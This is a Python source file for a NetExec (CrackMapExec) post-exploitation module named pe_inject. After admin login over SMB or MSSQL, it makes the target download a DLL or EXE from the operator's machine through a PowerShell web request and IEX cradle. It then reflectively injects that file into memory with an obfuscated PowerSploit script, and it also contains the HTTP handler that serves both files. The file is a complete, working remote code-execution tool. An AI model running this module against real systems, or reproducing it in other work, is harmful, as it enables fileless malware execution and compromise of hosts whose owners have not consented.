NetExec/cme/modules/pe_inject.py

82 lines
2.9 KiB
Python

from cme.helpers.powershell import *
from sys import exit
import os
class CMEModule:
'''
Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
Module by @byt3bl33d3r
'''
name = 'pe_inject'
description = "Downloads the specified DLL/EXE and injects it into memory"
supported_protocols = ['smb', 'mssql']
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
'''
PATH Path to dll/exe to inject
PROCID Process ID to inject into (default: current powershell process)
EXEARGS Arguments to pass to the executable being reflectively loaded (default: None)
'''
if not 'PATH' in module_options:
context.log.error('PATH option is required!')
exit(1)
self.payload_path = os.path.expanduser(module_options['PATH'])
if not os.path.exists(self.payload_path):
context.log.error('Invalid path to EXE/DLL!')
exit(1)
self.procid = None
self.exeargs = None
if 'PROCID' in module_options:
self.procid = module_options['PROCID']
if 'EXEARGS' in module_options:
self.exeargs = module_options['EXEARGS']
self.ps_script = obfs_ps_script('powersploit/CodeExecution/Invoke-ReflectivePEInjection.ps1')
def on_admin_login(self, context, connection):
payload = """
$WebClient = New-Object System.Net.WebClient;
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}');
Invoke-ReflectivePEInjection -PEBytes $bytes""".format(server=context.server,
port=context.server_port,
addr=context.localip,
pefile=os.path.basename(self.payload_path))
if self.procid:
payload += ' -ProcessID {}'.format(self.procid)
if self.exeargs:
payload += ' -ExeArgs "{}"'.format(self.exeargs)
launcher = gen_ps_iex_cradle(context, 'Invoke-ReflectivePEInjection.ps1', payload, post_back=False)
connection.ps_execute(launcher, force_ps32=True)
context.log.success('Executed payload')
def on_request(self, context, request):
if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(self.ps_script)
elif os.path.basename(self.payload_path) == request.path[1:]:
request.send_response(200)
request.end_headers()
request.stop_tracking_host()
with open(self.payload_path, 'rb') as payload:
request.wfile.write(payload.read())
else:
request.send_response(404)
request.end_headers()